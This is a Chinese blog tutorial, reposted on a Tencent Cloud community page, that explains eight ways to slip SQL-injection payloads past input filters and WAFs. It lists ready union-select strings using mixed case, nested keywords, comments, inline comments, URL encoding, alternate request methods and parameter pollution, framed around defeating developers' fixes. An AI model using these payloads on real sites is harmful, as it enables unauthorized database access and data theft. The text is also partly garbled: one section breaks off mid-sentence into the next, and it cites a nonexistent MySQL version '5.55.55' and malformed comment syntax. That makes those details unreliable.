首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

浅谈SQL注入绕过

0X00背景

前段时间一学弟一直叫我帮他弄防护过的网站,加上项目上总是跟开发“斗志斗勇”,漏洞改一次,我绕过一次,就这么循环反复。改完后说还存在这个漏洞,某开发的表情是这样的

然后我默默的发了两张图给他

觉得还是写一篇SQL注入绕过的文章吧,来安慰安慰我跟“这帮不好好改漏洞的开发”斗智斗勇、殚精竭虑的心!呸!说错了,想分享技术,然后换棒棒糖的心情!

0X01浅析绕过

在我们遇到一些整改过的或者加了安全设备的网站时,总是那么有点难受,分享一点简单的绕过,希望对大家有帮助,下面进入正题。

w@1使用随机大小写绕过

在很多的防御机制中,没有考虑到数据库执行过程大小写转换的问题,只处理了小写或大写的关键字,例如:select和SELECT会被过滤,但seLeCt并不会被防御机制检测到。于是我们可以使用“http://ip/index.php?login_id=-15 uNIoN sELecT 1,2,3,4…”去执行union查询。

w@2关键字替换

在另一种防御机制中,会把SQL注入的“特征码”给替换为空,比如会把“select、and”等关键字替换为空,这时候我们可以这么输入

http://ip/index.php?login_id=-15 UNIunionON SELselectECT 1,2,3,4….

只过滤一次,结果会被替换成:

http://ip/index.php?login_id=-15 UNION SELECT 1,2,3,4….

这样就可以达到绕过防御去执行SQL语句了。并且,有些开发不知道怎么想的,明明可以循环过滤,却只过滤几次,我们可以多构造几个关键字,防止全部替换为空。

http://ip/index.php?login_id=-15 UNIuniuniununionionononON SELselselselselectecte

ctectECT 1,2,3,4….

w@3内部注释

这个方法在于利用SQL语句的注释符来绕过,这种绕过方式只适用于如下防御机制:

输入“unionselect”不会被检测到攻击;输入“union select”会被检测到,检测机制会以空格为界定符,把“union”和“select”分开成两个字符串去检测是不是攻击的特征码。我们可以构造如下payload去绕过检测:

http://ip/index.php?login_id=-15union/**/select 1,2,3,4…

当然,一般检测机制也不会这么笨,所以我们可以结合随机大小写、编码(编码绕过接下来会有介绍)等方式绕过,例如:

http://ip/index.php?login_id=-15 %55nION/**/%53ElecT 1,2,3,4…

w@4使用内联注释

在MySql数据库版本大于等于5.55.55时,使用内联注释(/!**/)可以使下面公式成立:

/!*select*/=select

所以我们“http://ip/index.php?login_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…”等价于“http://ip/index.php?login_id=-15 UNION SELECT 1,2,3,4…”,SQL语句一样会被执行。还是得提醒一下,这个方法在MySql数据库中并且版本符合要求才有效。

w@5不同的请求方式

Waf或者代码中的过滤规则只在get、post和cookie方式中提交的参数生效,可以利用不同的方式提交参数,来绕过过滤规则。

例如:waf中只对客户端get提交的参数进行过滤,使用post方式提交参数或者把提交的参数放入cookie中便可绕过。

w@6对字母进行编码(URL编码、base64、16进制(hex转码))

此绕过方式可以使用各种编码方式对payload进行编码,然后进行尝试。例如:http://ip/index.php?login_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….

只对部分字母进行编码,便可以绕过检测机制。还有很多别的编码形式,比如双重url编码、16进制编码等,都可以去尝试绕过防护。有兴趣的可以去了解一下宽字符注入。以后再出宽字符注入的文章。

w@7使用其他变量或者命令对注入语句进行替换

过滤机制中一般只会过滤一部分特征码,这时候可以采用“替换”的形式绕过,比如过滤了“=”,可以使用“>、w@8利用参数污染

发送这样的请求,http://ip/index.php?login_id=15&login_id=16,面对客户端传递的两个相同的参数,服务器端可能会这样处理,验证第一个login_id的值-15,而取第二个login_id的值-16。或者相反。这样的话,可以构造如下两个payload:

http://ip/index.php?login_id=15&login_id=-16 union select 1,2,3,4.....

http://ip/index.php?login_id=-15union select 1,2,3,4.....&login_id=16

分别针对两种参数污染的漏洞,绕过SQL注入的检测机制。至于什么是参数污染漏洞,将会出现在以后的文章。

欢迎关注我们

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180627G1AO2G00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券